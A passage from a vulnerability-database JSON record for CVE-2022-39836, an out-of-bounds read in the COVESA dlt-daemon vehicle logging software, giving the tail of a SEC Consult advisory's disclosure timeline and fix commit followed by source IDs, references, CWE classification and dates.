aa1364fbdf8700a2c3d2176180f92fb9a4b44251)\n\n\nVendor contact timeline:\n------------------------\n2022-04-01: Contacting maintainers through email. \n2022-04-01: Email returned to sender because of illegal attached files (probably PGP keys). \n2022-04-04: Sent advisory via SMIME encrypted mail to another identified email address. \n2022-04-05: Advisory received, vendor starts to work on fixes. \n2022-04-20: Requested status. \n2022-04-21: Currently busy with different projects. Will keep us updated on patching efforts. \n2022-05-04: Vendor shares tentative patches. \n2022-07-29: Requested status update from vendor. \n2022-08-01: Vulnerability fixed in commit 855e0017a980d2990c16f7dbf3b4983b48fac272\n2022-09-23: Public release of security advisory\n\n\nSolution:\n---------\nThe vulnerability has been fixed with commit 855e0017a980d2990c16f7dbf3b4983b48fac272. \nNo new version has been tagged, thus an update to the current master branch is recommended. \n\nSee https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult, an Atos company\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos company. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF S. Robertz, G. Hechenberger, T. Weber, T. Longin / @2022\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2022-39836"
},
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "VULMON",
"id": "CVE-2022-39836"
},
{
"db": "PACKETSTORM",
"id": "168535"
}
],
"trust": 1.8
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2022-39836",
"trust": 3.5
},
{
"db": "PACKETSTORM",
"id": "168535",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2022-019804",
"trust": 0.8
},
{
"db": "CXSECURITY",
"id": "WLB-2022090076",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-202209-2800",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2022-39836",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULMON",
"id": "CVE-2022-39836"
},
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "PACKETSTORM",
"id": "168535"
},
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"id": "VAR-202209-1648",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
}
],
"trust": 0.01
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"vehicle device"
],
"sub_category": "vehicle",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
}
]
},
"last_update_date": "2025-05-07T22:52:21.898000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "dlt-daemon Buffer error vulnerability fix",
"trust": 0.6,
"url": "http://123.124.177.30/web/xxk/bdxqById.tag?id=212191"
}
],
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-125",
"trust": 1.0
},
{
"problemtype": "Out-of-bounds read (CWE-125) [NVD evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.4,
"url": "https://sec-consult.com/vulnerability-lab/advisory/multiple-memory-corruption-vulnerabilities-in-covesa-dlt-daemon/"
},
{
"trust": 2.4,
"url": "https://seclists.org/fulldisclosure/2022/sep/24"
},
{
"trust": 1.0,
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00021.html"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2022-39836"
},
{
"trust": 0.7,
"url": "https://packetstormsecurity.com/files/168535/covesa-2.18.8-null-pointer-dereference-heap-buffer-over-read.html"
},
{
"trust": 0.6,
"url": "https://cxsecurity.com/cveshow/cve-2022-39836/"
},
{
"trust": 0.6,
"url": "https://cxsecurity.com/issue/wlb-2022090076"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "https://www.covesa.global/"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"trust": 0.1,
"url": "http://blog.sec-consult.com"
},
{
"trust": 0.1,
"url": "https://twitter.com/sec_consult"
},
{
"trust": 0.1,
"url": "https://github.com/covesa/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272)."
},
{
"trust": 0.1,
"url": "https://www.sec-consult.com"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/career/"
},
{
"trust": 0.1,
"url": "https://github.com/covesa/dlt-daemon"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/contact/"
},
{
"trust": 0.1,
"url": "https://github.com/covesa/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2022-39837"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULMON",
"id": "CVE-2022-39836"
},
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "PACKETSTORM",
"id": "168535"
},
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULMON",
"id": "CVE-2022-39836"
},
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "PACKETSTORM",
"id": "168535"
},
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2023-10-27T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"date": "2022-09-27T15:54:50",
"db": "PACKETSTORM",
"id": "168535"
},
{
"date": "2022-09-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202209-2800"
},
{
"date": "2022-10-25T17:15:56.677000",
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2023-10-27T08:13:00",
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"date": "2022-10-28T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202209-2800"
},
{
"date": "2025-05-07T15:15:53.867000",
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "GENIVI\u00a0Alliance\u00a0 of \u00a0dlt-daemon\u00a0(Diagnostic\u00a0Log\u00a0and\u00a0Trace)\u00a0 Out-of-bounds read vulnerability in",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.